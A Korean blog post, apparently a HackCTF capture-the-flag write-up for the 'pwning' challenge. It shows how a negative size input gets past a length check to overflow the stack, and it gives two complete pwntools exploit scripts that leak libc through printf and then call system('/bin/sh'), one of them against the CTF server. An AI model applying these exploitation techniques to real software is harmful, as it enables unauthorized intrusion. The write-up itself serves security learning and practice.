상세 컨텐츠

본문 제목

[HackCTF] pwning

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 15. 17:24

본문

728x90
반응형

# 보호기법 확인

 

 

# pseudo code

 

 

nptr에서부터 v2의 크기만큼만 v4에 입력받는 character 하나씩만 입력받을 수 있다.

그리고 nptr에 저장된 값을 atoi 함수를 이용해서 int형으로 바꾼 결과를 v2 변수에 저장한다.

문제는 nptr 크기는 0x2c(44바이트)인데 첫 번째 v2의 크기를 한 바이트씩 입력 시 0x20보다 커지면

if문에 의해 break된다.

 

 

그리고 do_thing() 함수가 있어서 어셈블리 코드를 봤더니 "pop ebp; ret" gadget이 있었다.

system 함수의 plt, got 주소를 알 수 없으므로 libc leak을 통해 주소를 구하고, RTL을 진행하면 될 것 같았다.

 

문제는 크기가 0x2c인 nptr의 return address 덮을 수 없다는 것인데,,

 

 

# process

 

 

 

일단 실행을 해봤다.

그리고 하면서 든 생각이 음수를 입력하면 될 것 같았다. (House of Force 공부를 한지 얼마 안 된..)

음수로 값을 줬더니 에러가 뜨지 않았고 return address를 충분히 덮을만큼 데이터를 입력할 수 있게 되었다.

 

1. 크기 입력 시 음수 입력

2. libc leak

- gadget을 이용해서 atoi@got 등을 printf 함수로 출력하도록 한다.

- 다시 입력받아야 하므로 vuln 함수를 다시 호출한다.

3. 다시 vuln에 리턴

- 크기 음수로

- RTL 진행

 

 

# exploit code

 

#!/usr/bin/python
from pwn import *

#context.log_level = 'debug'
p = process("./pwning")
#gdb.attach(p)
#p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
#system_off = libc.symbols['printf'] - libc.symbols['system']
system_off = libc.symbols['system'] - libc.symbols['atoi']
#binsh_off = list(libc.search("/bin/sh"))[0] - libc.symbols['printf']
binsh_off = list(libc.search("/bin/sh"))[0] - libc.symbols['atoi']
p1ret = 0x80484e1
vuln = elf.symbols['vuln']

p.recv()
p.sendline(str(-6))

pay = 'A'*0x2c + 'B'*4
#pay += p32(printf_plt) + p32(p1ret) + p32(printf_got)
pay += p32(printf_plt) + p32(p1ret) + p32(atoi_got)
pay += p32(vuln)

p.recv()
p.sendline(pay)

p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf : "+hex(printf))
#system = printf - system_off
#binsh = printf + binsh_off
system = printf + system_off
binsh = printf + binsh_off
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))

p.recvuntil("? ")
p.sendline(str(-6))

pay = 'A'*0x2c+'B'*4
pay += p32(system) + p32(p1ret) + p32(binsh)

p.recv()
p.sendline(pay)

p.interactive()

 

 

# exploit

 

 

(atoi로 leak해서 exploit 한 결과)

 

 

* 로되리안 문제 해결

 

일단 printf 주소를 leak한다.

그럼 하위 3바이트의 offset은 동일하므로 libc database에서 _IO_printf와 020을 입력해서 이 서버에서 사용하는 libc 를 찾는다.

 

https://libc.blukat.me/

 

 

libc database search

Query show all libs / start over

libc.blukat.me

그럼 이렇게 각 함수의 offset을 구할 수 있다.

 

system offset : 0x3a940

printf offset : 0x49020

binsh offset : 0x15902b

 

leak한 printf 주소로 위의 offset을 이용해서 각 주소를 구한다.

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)                                                    
elf = ELF("./pwning")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
one_gadget_off = 0x3ac62
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
atoi_got = elf.got['atoi']
p1ret = 0x80484e1
vuln = elf.symbols['vuln']

p.sendlineafter("? ", str(-1))

pay = 'A'*(0x2c + 0x4)
pay += p32(printf_plt) + p32(p1ret) + p32(printf_got)
pay += p32(vuln)

p.sendlineafter("data!\n", pay)

p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf : "+hex(printf))
libcBase = printf - 0x49020
#one_gadget = libcBase + one_gadget_off
log.info("libcBase : "+hex(libcBase))

p.sendlineafter("? ", str(-1))

#p.sendlineafter("data!\n", 'A'*(0x2c+0x4) + p32(one_gadget))
p.sendlineafter("data!\n", 'A'*(0x2c+0x4) + p32(libcBase + 0x03a940)+p32(p1ret) + p32(libcBase + 0x15902b))

p.interactive()

 

 

로되리안 해결!!!

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2020.01.18
[HackCTF] ROP  (3) 2020.01.16
[HackCTF] Gift  (0) 2020.01.12
[HackCTF] Look at me  (0) 2020.01.12
[HackCTF] 1996  (0) 2020.01.08

관련글 더보기